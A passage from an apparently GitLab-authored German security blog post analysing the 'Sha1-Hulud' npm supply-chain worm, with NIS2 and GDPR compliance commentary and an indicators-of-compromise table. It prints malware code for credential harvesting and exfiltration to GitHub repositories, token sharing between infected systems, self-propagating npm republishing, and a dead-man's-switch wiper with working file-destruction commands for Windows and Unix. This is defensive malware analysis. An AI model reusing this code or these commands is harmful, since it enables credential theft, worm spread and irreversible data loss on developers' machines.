10 MB große obfuskierte Datei, die bereits im infizierten Paket vorhanden ist. Dieser Ansatz bietet mehrere Evasion-Schichten: Der initiale Loader ist klein und scheinbar legitim, während der eigentliche schädliche Code stark obfuskiert und in eine Datei gebündelt ist, die für beiläufige Inspektion zu groß ist.\n\n**ISO 27001 A.12.6-Relevanz:** Diese Evasion-Technik unterstreicht die Notwendigkeit systematischer Preinstall-Script-Überprüfung. Deutsche Unternehmen sollten CI/CD-Pipelines so konfigurieren, dass unerwartete Runtime-Downloads während Paket-Installationen gemeldet werden.\n\n### Credential-Harvesting\n\nNach Ausführung beginnt die Malware sofort mit Credential-Discovery über mehrere Quellen:\n\n- **GitHub-Tokens**: Suche in Umgebungsvariablen und GitHub-CLI-Konfigurationen nach Tokens beginnend mit `ghp_` (GitHub Personal Access Token) oder `gho_` (GitHub OAuth Token)\n- **Cloud-Credentials**: Enumeration von AWS-, GCP- und Azure-Credentials mittels offizieller SDKs, Prüfung von Umgebungsvariablen, Config-Dateien und Metadaten-Services\n- **npm-Tokens**: Extraktion von Tokens für Paket-Publishing aus `.npmrc`-Dateien und Umgebungsvariablen – gängige Speicherorte für sicher abgelegte sensible Konfigurationen und Credentials\n- **Filesystem-Scanning**: Download und Ausführung von Trufflehog, einem legitimen Security-Tool, um das gesamte Home-Verzeichnis nach API-Keys, Passwörtern und anderen Secrets in Konfigurationsdateien, Quellcode oder Git-History zu durchsuchen\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // Scannt das Home-Verzeichnis auf Secrets\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // Lädt Funde zum Exfiltrations-Repository hoch\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n**DSGVO Artikel 32-Implikation:** Diese umfassende Credential-Exfiltration stellt einen Fall von \"unbefugtem Zugang zu personenbezogenen Daten\" dar, wie in DSGVO Artikel 32 Absatz 2 beschrieben. Organisationen müssen technische Maßnahmen implementieren, um Credentials vom Filesystem zu isolieren – beispielsweise durch Nutzung von Secrets-Management-Systemen statt Umgebungsvariablen.\n\n### Exfiltrations-Netzwerk\n\nDie Malware nutzt gestohlene GitHub-Tokens, um öffentliche Repositories mit einer spezifischen Markierung in deren Beschreibung zu erstellen: \"Sha1-Hulud: The Second Coming.\" Diese Repositories dienen als Dropboxes für gestohlene Credentials und Systeminformationen.\n\n```javascript\nasync function createRepo(name) {\n  // Erstellt ein Repository mit spezifischer Beschreibungs-Markierung\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // Markierung zum späteren Auffinden\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // Installiert GitHub-Actions-Runner für Persistenz\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // Installiert Self-Hosted-Runner\n  }\n\n  return repo;\n}\n```\n\n**Systematische Detektionsmöglichkeit:** Die explizite Markierung \"Sha1-Hulud: The Second Coming\" ermöglicht deutschen Sicherheitsteams eine reproduzierbare Suchmethode. Durch GitHub-Suche nach dieser exakten Zeichenfolge lassen sich kompromittierte Developer-Accounts systematisch identifizieren – ein Ansatz, der mit NIS2 Artikel 21 (Fähigkeit zur systematischen Vorfallserkennung) harmoniert.\n\nKritisch: Falls das initiale GitHub-Token unzureichende Berechtigungen besitzt, durchsucht die Malware andere kompromittierte Repositories mit derselben Markierung, um Tokens von anderen infizierten Systemen abzurufen. Dies schafft ein resilientes Botnet-artiges Netzwerk, in dem kompromittierte Systeme Access-Tokens teilen.\n\n```javascript\n// Token-Sharing im Malware-Netzwerk:\nasync fetchToken() {\n  // Suche auf GitHub nach Repositories mit Identifikations-Markierung\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // Versuch, Tokens aus kompromittierten Repos abzurufen\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // Token von anderem infizierten System nutzen\n    }\n  }\n  return null;  // Keine gültigen Tokens im Netzwerk gefunden\n}\n```\n\n**NIS2 Artikel 22-Relevanz:** Dieses selbstheilende Netzwerk erfordert koordinierte Sicherheits-Risikobewertungen kritischer Lieferketten. Einzelne Token-Sperrungen sind unzureichend – eine systematische, abgestimmte Reaktion ist erforderlich, um das Netzwerk zu stören, ohne den Dead-Man's-Switch auszulösen.\n\n### Supply-Chain-Propagierung\n\nMittels gestohlener npm-Tokens führt die Malware aus:\n\n1. Download aller vom Opfer verwalteten Pakete\n2. Injektion des `setup_bun.js`-Loaders in die Preinstall-Scripts jedes Pakets\n3. Bundling der schadhaften `bun_environment.js`-Payload\n4. Inkrementierung der Paket-Versionsnummer\n5. Republishing der infizierten Pakete zu npm\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // Download Original-Paket\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // Extraktion und Modifikation von package.json\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // Hinzufügen schadhaften Preinstall-Scripts\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // Inkrementierung Version\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // Bundling Backdoor-Installer\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // Repackaging und Publishing\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n**NIS2 Artikel 21(2)(d)-Implikation:** Dies illustriert Supply-Chain-Sicherheitsaspekte im Zusammenhang mit direkten Lieferanten und Service-Providern. npm-Token-Sicherheit wird zum kritischen Kontrollpunkt – Kompromittierung eines einzelnen Entwickler-Accounts führt zur exponentiellen Verbreitung über dessen gesamtes Paket-Portfolio.\n\n**Prävention:** Implementierung von OIDC-basierter keyless Authentication für npm-Publishing (wie in GitLab CI/CD verfügbar) eliminiert langlebige Tokens und reduziert das Credential-Theft-Risiko signifikant.\n\n## Der Dead-Man's-Switch\n\nDie Analyse deckte eine destruktive Payload auf, die zum Schutz der Malware-Infrastruktur gegen Takedown-Versuche konzipiert ist.\n\nDie Malware überwacht kontinuierlich ihren Zugang zu GitHub (für Exfiltration) und npm (für Propagierung). Falls ein infiziertes System Zugriff auf beide Kanäle simultan verliert, löst dies sofortige Datenzerstörung auf dem kompromittierten System aus. Auf Windows wird versucht, alle User-Dateien zu löschen und Disk-Sektoren zu überschreiben. Auf Unix-Systemen nutzt es `shred`, um Dateien vor Löschung zu überschreiben, wodurch Recovery nahezu unmöglich wird.\n\n```javascript\n// KRITISCH: Token-Validierungsfehler löst Zerstörung aus\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // Versuch, GitHub-Zugang zu finden oder zu erstellen\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // Suche nach Tokens in kompromittierten Repos\n\n    if (!fetchedToken) {  // Kein GitHub-Zugang möglich\n      if (npmToken) {\n        // Fallback zu reiner NPM-Propagierung\n        await El(npmToken);\n      } else {\n        // ZERSTÖRUNGS-TRIGGER: Kein GitHub UND kein NPM-Zugang\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // Versuch, alle User-Dateien zu löschen und Disk-Sektoren zu überschreiben\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // Überschreibt gelöschte Daten\n          ]);\n        } else {\n          // Versuch, alle schreibbaren Dateien im Home-Verzeichnis zu shreddern\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // Überschreibt und löscht\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // Entfernt leere Verzeichnisse\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\n**NIS2 Artikel 23-Implikation für Incident Response:** Dies schafft ein gefährliches Szenario. Falls GitHub massenweise die Repositories der Malware löscht oder npm Bulk-Revocation kompromittierter Tokens durchführt, könnten Tausende infizierter Systeme simultan Nutzerdaten zerstören. Die verteilte Natur des Angriffs bedeutet, dass jede infizierte Maschine unabhängig den Zugriff überwacht und bei erkanntem Takedown Löschung der Nutzerdaten auslöst.\n\n**Koordinierte Reaktionsplanung erforderlich:** Deutsche Unternehmen müssen NIS2 Artikel 23 (dreistufige Meldeverfahren) befolgen, aber auch vermeiden, voreilig Tokens zu sperren, ohne die Dead-Man's-Switch-Implikationen zu berücksichtigen. Systematische Planung mit zuständigen Behörden ist erforderlich.\n\n## Indicators of Compromise\n\nZur Unterstützung von Detection und Response: Umfassende Liste der identifizierten Key-Indicators of Compromise (IoCs).\n\n| Typ | Indikator | Beschreibung |\n| :---- | :---- | :---- |\n| **file** | `bun_environment.js` | Schadhafte Post-Install-Scripte in node\\_modules-Verzeichnissen |\n| **directory** | `.truffler-cache/` | Verstecktes Verzeichnis im User-Home für Trufflehog-Binary-Speicherung |\n| **directory** | `.truffler-cache/extract/` | Temporäres Verzeichnis für Binary-Extraktion |\n| **file** | `.truffler-cache/trufflehog` | Heruntergeladenes Trufflehog-Binary (Linux/Mac) |\n| **file** | `.truffler-cache/trufflehog.exe` | Heruntergeladenes Trufflehog-Binary (Windows) |\n| **process** | `del /F /Q /S \"%USERPROFILE%*\"` | Windows-Destruktiv-Payload-Befehl |\n| **process** | `shred -uvz -n 1` | Linux/Mac-Destruktiv-Payload-Befehl |\n| **process** | `cipher /W:%USERPROFILE%` | Windows-Secure-Deletion-Befehl in Payload |\n| **command** | `curl -fsSL https://bun.sh/install \\| bash` | Verdächtige Bun-Installation während NPM-Paket-Installation |\n| **command** | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | Windows-Bun-Installation via PowerShell |\n\n**Systematische Überprüfung:** Deutsche Sicherheitsteams können diese IoC-Tabelle für Filesystem-Scans nutzen. Die Präsenz eines dieser Indikatoren erfordert sofortige Isolation des betroffenen Systems und Token-Audit gemäß obiger Reaktions-Checkliste.\n\n## Ausblick\n\nDiese Kampagne repräsentiert eine Evolution in Supply-Chain-Angriffen: Die Androhung von Kollateralschäden wird zum primären Verteidigungsmechanismus für die Attacker-Infrastruktur. Die Untersuchung läuft, während die Zusammenarbeit mit der Community erfolgt, um den vollständigen Umfang zu verstehen und sichere Remediation-Strategien zu entwickeln.\n\nGitLabs automatisierte Detektionssysteme überwachen kontinuierlich auf neue Infektionen und Varianten dieses Angriffs. Durch frühzeitiges Teilen der Erkenntnisse soll der Community geholfen werden, wirksam zu reagieren und dabei die Fallstricke des Dead-Man's-Switch-Designs zu vermeiden.\n\n**Für deutsche Unternehmen:** Nutzen von GitLabs internen Monitoring-Fähigkeiten durch Integration von Dependency-Scanning in CI/CD-Pipelines. Dies ermöglicht systematische Früherkennung schadhafter Pakete vor Production-Deployment – ein Ansatz, der sowohl NIS2 Artikel 21 als auch DSGVO Artikel 32 erfüllt.","2025-11-24",[798,1234],[1251,1252],"Michael Henriksen","Daniel Abeles",{"featured":13,"template":836,"slug":1254},"gitlab-discovers-widespread-npm-supply-chain-attack",{"content":1256,"config":1259},{"title":1147,"description":1148,"authors":1257,"heroImage":915,"date":1152,"body":1153,"category":786,"tags":1258},[1150,1151],[259,1155,846],{"featured":13,"template":836,"slug":1157},[1261,1266,1271],{"content":1262,"config":1265},{"title":913,"description":914,"heroImage":915,"authors":1263,"date":918,"body":919,"category":712,"tags":1264},[917],[786],{"featured":687,"template":836,"slug":922},{"content":1267,"config":1270},{"title":1108,"description":1109,"authors":1268,"heroImage":1112,"date":1113,"body":1114,"category":774,"tags":1269},[1111],[846,244],{"featured":687,"template":836,"slug":1117},{"content":1272,"config":1275},{"title":1120,"description":1121,"authors":1273,"heroImage":1124,"date":877,"category":774,"tags":1274,"body":1127},[1123],[1126,1052,244],{"slug":1129,"featured":687,"template":836},[1277,1282,1287],{"content":1278,"config":1281},{"title":872,"description":873,"authors":1279,"heroImage":876,"date":877,"body":878,"category":699,"tags":1280},[875],[846,786],{"featured":687,"template":836,"slug":881},{"content":1283,"config":1286},{"title":1160,"description":1161,"authors":1284,"heroImage":1164,"date":1165,"body":1166,"category":786,"tags":1285},[1163],[786,846,761],{"featured":687,"template":836,"slug":1169},{"content":1288,"config":1291},{"title":1172,"description":1173,"authors":1289,"heroImage":1164,"date":1165,"body":1176,"category":786,"tags":1290},[1175],[846,828,786],{"featured":13,"template":836,"slug":1179},1777394032399]